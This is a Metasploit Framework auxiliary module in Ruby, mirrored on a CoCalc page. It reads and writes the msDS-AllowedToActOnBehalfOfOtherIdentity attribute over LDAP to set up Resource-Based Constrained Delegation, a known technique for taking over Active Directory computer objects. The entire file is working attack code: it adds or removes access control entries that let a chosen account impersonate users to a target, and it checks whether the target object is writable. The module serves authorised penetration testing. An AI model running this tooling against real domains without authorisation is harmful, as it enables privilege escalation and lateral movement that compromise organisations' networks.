Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/admin/ldap/rbcd.rb
21545 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
8
include Msf::Exploit::Remote::LDAP::ActiveDirectory
9
include Msf::OptionalSession::LDAP
10
11
ATTRIBUTE = 'msDS-AllowedToActOnBehalfOfOtherIdentity'.freeze
12
13
def initialize(info = {})
14
super(
15
update_info(
16
info,
17
'Name' => 'Role Base Constrained Delegation',
18
'Description' => %q{
19
This module can read and write the necessary LDAP attributes to configure a particular object for Role Based
20
Constrained Delegation (RBCD). When writing, the module will add an access control entry to allow the account
21
specified in DELEGATE_FROM to the object specified in DELEGATE_TO. In order for this to succeed, the
22
authenticated user must have write access to the target object (the object specified in DELEGATE_TO).
23
},
24
'Author' => [
25
'Podalirius', # Remi Gascou (@podalirius_), Impacket reference implementation
26
'Charlie Bromberg', # Charlie Bromberg (@_nwodtuhs), Impacket reference implementation
27
'Spencer McIntyre' # module author
28
],
29
'References' => [
30
['URL', 'https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/resource-based-constrained-delegation-ad-computer-object-take-over-and-privilged-code-execution'],
31
['URL', 'https://www.thehacker.recipes/ad/movement/kerberos/delegations/rbcd'],
32
['URL', 'https://github.com/SecureAuthCorp/impacket/blob/3c6713e309cae871d685fa443d3e21b7026a2155/examples/rbcd.py']
33
],
34
'License' => MSF_LICENSE,
35
'Actions' => [
36
['FLUSH', { 'Description' => 'Delete the security descriptor' }],
37
['READ', { 'Description' => 'Read the security descriptor' }],
38
['REMOVE', { 'Description' => 'Remove matching ACEs from the security descriptor DACL' }],
39
['WRITE', { 'Description' => 'Add an ACE to the security descriptor DACL' }]
40
],
41
'DefaultAction' => 'READ',
42
'Notes' => {
43
'Stability' => [],
44
'SideEffects' => [CONFIG_CHANGES], # REMOVE, FLUSH, WRITE all make changes
45
'Reliability' => []
46
}
47
)
48
)
49
50
register_options([
51
OptString.new('DELEGATE_TO', [ true, 'The delegation target' ]),
52
OptString.new('DELEGATE_FROM', [ false, 'The delegation source' ])
53
])
54
end
55
56
def build_ace(sid)
57
Rex::Proto::MsDtyp::MsDtypAce.new({
58
header: {
59
ace_type: Rex::Proto::MsDtyp::MsDtypAceType::ACCESS_ALLOWED_ACE_TYPE
60
},
61
body: {
62
access_mask: Rex::Proto::MsDtyp::MsDtypAccessMask::ALL,
63
sid: sid
64
}
65
})
66
end
67
68
def get_delegate_to_obj
69
delegate_to = datastore['DELEGATE_TO']
70
if delegate_to.blank?
71
fail_with(Failure::BadConfig, 'The DELEGATE_TO option must be specified for this action.')
72
end
73
74
obj = adds_get_object_by_samaccountname(@ldap, delegate_to)
75
if obj.nil? && !delegate_to.end_with?('$')
76
obj = adds_get_object_by_samaccountname(@ldap, "#{delegate_to}$")
77
end
78
fail_with(Failure::NotFound, "Failed to find sAMAccountName: #{delegate_to}") unless obj
79
80
obj
81
end
82
83
def get_delegate_from_obj
84
delegate_from = datastore['DELEGATE_FROM']
85
if delegate_from.blank?
86
fail_with(Failure::BadConfig, 'The DELEGATE_FROM option must be specified for this action.')
87
end
88
89
obj = adds_get_object_by_samaccountname(@ldap, delegate_from)
90
if obj.nil? && !delegate_from.end_with?('$')
91
obj = adds_get_object_by_samaccountname(@ldap, "#{delegate_from}$")
92
end
93
fail_with(Failure::NotFound, "Failed to find sAMAccountName: #{delegate_from}") unless obj
94
95
obj
96
end
97
98
def check
99
ldap_connect do |ldap|
100
validate_bind_success!(ldap)
101
102
if (@base_dn = datastore['BASE_DN'])
103
print_status("User-specified base DN: #{@base_dn}")
104
else
105
print_status('Discovering base DN automatically')
106
107
unless (@base_dn = ldap.base_dn)
108
print_warning("Couldn't discover base DN!")
109
end
110
end
111
@ldap = ldap
112
113
obj = get_delegate_to_obj
114
if obj.nil?
115
return Exploit::CheckCode::Unknown('Failed to find the specified object.')
116
end
117
118
unless adds_obj_grants_permissions?(@ldap, obj, SecurityDescriptorMatcher::Allow.all(%i[RP WP]))
119
return Exploit::CheckCode::Safe('The object can not be written to.')
120
end
121
122
Exploit::CheckCode::Vulnerable('The object can be written to.')
123
end
124
end
125
126
def run
127
ldap_connect do |ldap|
128
validate_bind_success!(ldap)
129
130
if (@base_dn = datastore['BASE_DN'])
131
print_status("User-specified base DN: #{@base_dn}")
132
else
133
print_status('Discovering base DN automatically')
134
135
unless (@base_dn = ldap.base_dn)
136
print_warning("Couldn't discover base DN!")
137
end
138
end
139
@ldap = ldap
140
141
obj = get_delegate_to_obj
142
143
send("action_#{action.name.downcase}", obj)
144
end
145
rescue Errno::ECONNRESET
146
fail_with(Failure::Disconnected, 'The connection was reset.')
147
rescue Rex::ConnectionError => e
148
fail_with(Failure::Unreachable, e.message)
149
rescue Rex::Proto::Kerberos::Model::Error::KerberosError => e
150
fail_with(Failure::NoAccess, e.message)
151
rescue Net::LDAP::Error => e
152
fail_with(Failure::Unknown, "#{e.class}: #{e.message}")
153
end
154
155
def action_read(obj)
156
if obj[ATTRIBUTE].first.nil?
157
print_status("The #{ATTRIBUTE} field is empty.")
158
return
159
end
160
161
security_descriptor = Rex::Proto::MsDtyp::MsDtypSecurityDescriptor.read(obj[ATTRIBUTE].first)
162
if (sddl = sd_to_sddl(security_descriptor))
163
vprint_status("#{ATTRIBUTE}: #{sddl}")
164
end
165
166
if security_descriptor.dacl.nil?
167
print_status("The #{ATTRIBUTE} DACL field is empty.")
168
return
169
end
170
171
print_status('Allowed accounts:')
172
security_descriptor.dacl.aces.each do |ace|
173
account_name = adds_get_object_by_sid(@ldap, ace.body.sid)
174
if account_name
175
print_status(" #{ace.body.sid} (#{account_name[:sAMAccountName].first})")
176
else
177
print_status(" #{ace.body.sid}")
178
end
179
end
180
end
181
182
def action_remove(obj)
183
delegate_from = get_delegate_from_obj
184
185
security_descriptor = Rex::Proto::MsDtyp::MsDtypSecurityDescriptor.read(obj[ATTRIBUTE].first)
186
unless security_descriptor.dacl && !security_descriptor.dacl.aces.empty?
187
print_status('No DACL ACEs are present. No changes are necessary.')
188
return
189
end
190
191
aces = security_descriptor.dacl.aces.snapshot
192
aces.delete_if { |ace| ace.body.sid == delegate_from[:objectSid].first }
193
delta = security_descriptor.dacl.aces.length - aces.length
194
if delta == 0
195
print_status('No DACL ACEs matched. No changes are necessary.')
196
return
197
else
198
print_status("Removed #{delta} matching ACE#{delta > 1 ? 's' : ''}.")
199
end
200
security_descriptor.dacl.aces = aces
201
# clear these fields so they'll be calculated automatically after the update
202
security_descriptor.dacl.acl_count.clear
203
security_descriptor.dacl.acl_size.clear
204
205
@ldap.replace_attribute(obj.dn, ATTRIBUTE, security_descriptor.to_binary_s)
206
validate_query_result!(@ldap.get_operation_result.table)
207
208
print_good("Successfully updated the #{ATTRIBUTE} attribute.")
209
end
210
211
def action_flush(obj)
212
unless obj[ATTRIBUTE]&.first
213
print_status("The #{ATTRIBUTE} field is empty. No changes are necessary.")
214
return
215
end
216
217
@ldap.delete_attribute(obj.dn, ATTRIBUTE)
218
validate_query_result!(@ldap.get_operation_result.table)
219
220
print_good("Successfully deleted the #{ATTRIBUTE} attribute.")
221
end
222
223
def action_write(obj)
224
delegate_from = get_delegate_from_obj
225
if obj[ATTRIBUTE]&.first
226
_action_write_update(obj, delegate_from)
227
else
228
_action_write_create(obj, delegate_from)
229
end
230
end
231
232
def _action_write_create(obj, delegate_from)
233
vprint_status("Creating new #{ATTRIBUTE}...")
234
delegate_from_sid = Rex::Proto::MsDtyp::MsDtypSid.read(delegate_from[:objectSid].first)
235
security_descriptor = Rex::Proto::MsDtyp::MsDtypSecurityDescriptor.new
236
security_descriptor.owner_sid = Rex::Proto::MsDtyp::MsDtypSid.new('S-1-5-32-544')
237
security_descriptor.dacl = Rex::Proto::MsDtyp::MsDtypAcl.new
238
security_descriptor.dacl.acl_revision = Rex::Proto::MsDtyp::MsDtypAcl::ACL_REVISION_DS
239
security_descriptor.dacl.aces << build_ace(delegate_from_sid)
240
241
if (sddl = sd_to_sddl(security_descriptor))
242
vprint_status("New #{ATTRIBUTE}: #{sddl}")
243
end
244
245
@ldap.add_attribute(obj.dn, ATTRIBUTE, security_descriptor.to_binary_s)
246
validate_query_result!(@ldap.get_operation_result.table)
247
248
print_good("Successfully created the #{ATTRIBUTE} attribute.")
249
print_status('Added account:')
250
print_status(" #{delegate_from_sid} (#{delegate_from[:sAMAccountName].first})")
251
end
252
253
def _action_write_update(obj, delegate_from)
254
vprint_status("Updating existing #{ATTRIBUTE}...")
255
security_descriptor = Rex::Proto::MsDtyp::MsDtypSecurityDescriptor.read(obj[ATTRIBUTE].first)
256
257
if (sddl = sd_to_sddl(security_descriptor))
258
vprint_status("Old #{ATTRIBUTE}: #{sddl}")
259
end
260
261
if security_descriptor.dacl
262
if security_descriptor.dacl.aces.any? { |ace| ace.body.sid == delegate_from[:objectSid].first }
263
print_status("Delegation from #{delegate_from[:sAMAccountName].first} to #{obj[:sAMAccountName].first} is already configured.")
264
end
265
# clear these fields so they'll be calculated automatically after the update
266
security_descriptor.dacl.acl_count.clear
267
security_descriptor.dacl.acl_size.clear
268
else
269
security_descriptor.control.dp = 1
270
security_descriptor.dacl = Rex::Proto::MsDtyp::MsDtypAcl.new
271
security_descriptor.dacl.acl_revision = Rex::Proto::MsDtyp::MsDtypAcl::ACL_REVISION_DS
272
end
273
274
delegate_from_sid = Rex::Proto::MsDtyp::MsDtypSid.read(delegate_from[:objectSid].first)
275
security_descriptor.dacl.aces << build_ace(delegate_from_sid)
276
277
if (sddl = sd_to_sddl(security_descriptor))
278
vprint_status("New #{ATTRIBUTE}: #{sddl}")
279
end
280
281
@ldap.replace_attribute(obj.dn, ATTRIBUTE, security_descriptor.to_binary_s)
282
validate_query_result!(@ldap.get_operation_result.table)
283
284
print_good("Successfully updated the #{ATTRIBUTE} attribute.")
285
end
286
287
def sd_to_sddl(sd)
288
sd.to_sddl_text
289
rescue StandardError => e
290
elog('failed to parse a binary security descriptor to SDDL', error: e)
291
end
292
end
293
294